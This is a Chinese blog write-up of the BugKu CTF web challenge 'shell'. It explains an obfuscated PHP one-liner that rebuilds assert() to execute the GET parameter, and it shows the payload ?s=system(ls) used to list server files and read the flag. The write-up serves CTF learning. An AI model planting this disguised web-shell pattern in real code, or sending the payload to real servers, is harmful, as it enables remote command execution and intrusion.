BugKu-WEB-shell
BugKu-WEB-shell
题目


思路
题目中给了思路
1 | $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) |
可以先看看explode()函数的文档和assert()函数的文档
代码的大概意思是,定义poc为一个用#隔开的字符串,定义poc_1为用#隔开的数组,比如说poc_1[0]=a,poc_1[1]=s,以此类推
然后定义poc_2是poc_1数组之间元素拼起来的结果,最后使用poc_2并对从GET方法那里获得的内容进行处理
这串代码看似很复杂,其实就是把poc_2变成assert()函数再去处理GET方法得到的内容,也就是assert($_GET[‘s’])assert()会把即使是不符合php代码规范的字符串变成php代码去执行,也就是说可以把s定义成各种各样的linux命令执行,比如说
1 | ?s=system(ls) |

也就是在后台执行了ls的命令,此时可以看到flag文件,再打开flaga15808abee46a1d5.txt文件就可以看到flag了
Flag
1 | flag{da87a1289abe10c9055a70acefff8879} |
- 标题: BugKu-WEB-shell
- 作者: Mel0ny
- 创建于 : 2025-09-02 20:23:48
- 更新于 : 2025-09-02 22:52:33
- 链接: https://mel0nyrame.github.io/2025/09/02/BugKu-WEB-shell/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论